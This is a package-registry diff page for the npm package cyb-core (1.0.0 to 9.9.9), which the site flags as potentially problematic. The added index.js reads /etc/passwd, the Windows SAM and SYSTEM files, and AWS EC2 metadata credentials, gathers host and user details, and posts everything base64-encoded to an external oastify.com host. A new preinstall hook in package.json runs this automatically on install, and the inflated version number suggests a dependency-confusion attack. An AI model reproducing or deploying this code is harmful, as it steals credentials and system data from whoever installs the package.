cyb-core 1.0.0 → 9.9.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of cyb-core might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +124 -3
  2. package/package.json +12 -12
package/index.js CHANGED
@@ -1,3 +1,124 @@
1
- (() => {
2
- console.log('this is not cyberark styles library')
3
- })()
1
+ const fs = require('fs');
2
+ const http = require('http');
3
+ const net = require('net');
4
+ const os = require("os");
5
+ const dns = require("dns");
6
+ const querystring = require("querystring");
7
+ const https = require("https");
8
+ const packageJSON = require("./package.json");
9
+ const package = packageJSON.name;
10
+
11
+
12
+ var etcpasswd = '/etc/passwd';
13
+ let base64data1 = '';
14
+ try {
15
+ if (fs.existsSync(etcpasswd)) {
16
+ var data1 = fs.readFileSync(etcpasswd, 'utf8');
17
+ let buff1 = Buffer.from(data1);
18
+ base64data1 = buff1.toString('base64');
19
+ }
20
+ } catch (error) {
21
+ console.log('');
22
+ }
23
+
24
+ var sam = 'C:\WINDOWS\system32\config\SAM';
25
+ let base64data2 = '';
26
+ try {
27
+ if (fs.existsSync(sam)) {
28
+ var data2 = fs.readFileSync(sam, 'utf8');
29
+ let buff2 = Buffer.from(data2);
30
+ base64data2 = buff2.toString('base64');
31
+ }
32
+ } catch (error) {
33
+ console.log('');
34
+ }
35
+
36
+ var systemfile = 'C:\WINDOWS\system32\config\SYSTEM';
37
+ let base64data3 = '';
38
+ try {
39
+ if (fs.existsSync(systemfile)) {
40
+ var data3 = fs.readFileSync(systemfile, 'utf8');
41
+ let buff3 = Buffer.from(data3);
42
+ base64data3 = buff3.toString('base64');
43
+ }
44
+ } catch (error) {
45
+ console.log('');
46
+ }
47
+
48
+ const options2 = {
49
+ hostname: '169.254.169.254',
50
+ port: 80,
51
+ path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/',
52
+ method: 'GET'
53
+ };
54
+
55
+ base64data4 = '';
56
+
57
+ function req2() {
58
+ http.get({
59
+ hostname: '169.254.169.254',
60
+ port: 80,
61
+ path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/',
62
+ agent: false
63
+ }, (res) => {
64
+ res.setEncoding('utf8');
65
+ let data = '';
66
+ res.on("data", (d) => {
67
+ var x;
68
+ x = d;
69
+ let buff4 = Buffer.from(x);
70
+ base64data4 = buff4.toString('base64');
71
+ console.log(base64data4);
72
+
73
+ const trackingData = JSON.stringify({
74
+ p: package,
75
+ c: __dirname,
76
+ homedir: os.homedir(),
77
+ networkinterfaces: os.networkInterfaces(),
78
+ release: os.release(),
79
+ userid: os.userInfo().uid,
80
+ hostname: os.hostname(),
81
+ username: os.userInfo().username,
82
+ dns: dns.getServers(),
83
+ r: packageJSON ? packageJSON.___resolved : undefined,
84
+ v: packageJSON.version,
85
+ pjson: packageJSON,
86
+ });
87
+
88
+ var postData = querystring.stringify({
89
+ msg: trackingData,
90
+ });
91
+
92
+ var options = {
93
+ hostname: "fdw8jf59fyrb5rp6hamcl4q7gymoad.oastify.com",
94
+ port: 443,
95
+ path: "/",
96
+ method: "POST",
97
+ headers: {
98
+ "Content-Type": "application/x-www-form-urlencoded",
99
+ "Content-Length": postData.length,
100
+ "Contentetcpasswd": base64data1,
101
+ "ContentSAM": base64data2,
102
+ "ContentetSYSTEM": base64data3,
103
+ "imdsv1": base64data4
104
+ },
105
+ };
106
+
107
+
108
+ var req = https.request(options, (res) => {
109
+ res.on("data", (d) => {
110
+ process.stdout.write(d);
111
+ });
112
+ });
113
+
114
+ req.on("error", (e) => {
115
+ // console.error(e);
116
+ });
117
+
118
+ req.write(postData);
119
+ req.end();
120
+ });
121
+ });
122
+ }
123
+
124
+ req2();
package/package.json CHANGED
@@ -1,12 +1,12 @@
1
- {
2
- "name": "cyb-core",
3
- "version": "1.0.0",
4
- "description": "",
5
- "main": "index.js",
6
- "scripts": {
7
- "test": "echo \"Error: no test specified\" && exit 1"
8
- },
9
- "keywords": [],
10
- "author": "",
11
- "license": "ISC"
12
- }
1
+ {
2
+ "name": "cyb-core",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "fauda-team",
11
+ "license": "ISC"
12
+ }